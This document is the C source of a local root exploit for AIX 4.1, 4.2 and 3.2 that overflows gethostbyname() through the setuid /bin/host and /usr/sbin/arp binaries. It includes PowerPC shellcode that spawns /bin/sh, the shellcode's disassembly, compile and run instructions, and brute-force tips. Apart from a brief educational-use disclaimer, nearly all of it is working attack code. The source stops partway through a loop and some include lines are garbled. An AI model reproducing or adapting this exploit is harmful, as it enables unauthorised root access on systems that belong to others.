/* AIX 4.1 ,4.2, 3.2 /bin/host and /usr/sbin/arp exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility. ----------------------------------------- I wrote and tested this program on AIX 4.1 for PowerPC 601,604, Power2 and it started a root shell on a few machines. It exploits a buffer overflow in gethostbyname() (see IBM advisory) and the fact that /bin/host,/usr/sbin/arp are +s. Probably it may be modified to work with rlogin,ping,traceroute and others. Possibly this hole may be exploited remotely. IBM has released patch for the problem. It is reported that this works on AIX 4.2 and 3.2. I think the problem with the additional kludges is corrected, so the program should work without any arguments. But if you want to experiment the arguments are: string length (/4), offset (/4), full path of program. Use the IBM C compiler. Compile with: cc -g test.c Just try: ./a.out ./a.out 560 500 /usr/sbin/arp ./a.out 78 40 /bin/host If it does not work, you should run a shell script which brute forces the length (<=580) and offset ( #include #include /*Used for testing*/ char prog[100]="/bin/host"; char prog2[30]="host"; void buggy(char *s) { char a[4]; unsigned int junk[150]; gethostbyname(); } void sh2() { int junk[0x100]; int s[2]; int toc; int ctr; junk[0x100]=0x11; toc=0xf0192c48; ctr=0xd0024c0c; s[0]=0x2f62696e; s[1]=0x2f736800; execv(&s,0); } /*The program*/ main(int argc,char **argv) { unsigned int junk[300]; /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int i,nop,mn; int max; unsigned int toc; unsigned int eco; unsigned int *pt; int carry1=0;/*should remain 0*/ int carry2=0;/*-"-*/ char *t; pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if (argc>1) max=atoi(argv[1]); if(max==0) max=78; mn=40; if(argc>2) mn=atoi(argv[2]); if(argc>3) { strncpy(prog,argv[3],100); t=strrchr(prog,'/'); if(t) strncpy(prog2,++t,30); } if(argc>4) strncpy(prog2,argv[4],30); if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { puts("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff); /*I think I corrected the problem. carry1,carry2 should be 0 */ *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff); #ifndef QUIET puts("Test AIX!"); puts("Discovered and coded by Georgi G."); printf("TOC:%0x,CTR:%0x\n",toc,eco); printf("\n%p",&buf[nop]); #endif junk[50]=1; for(nop=0;nop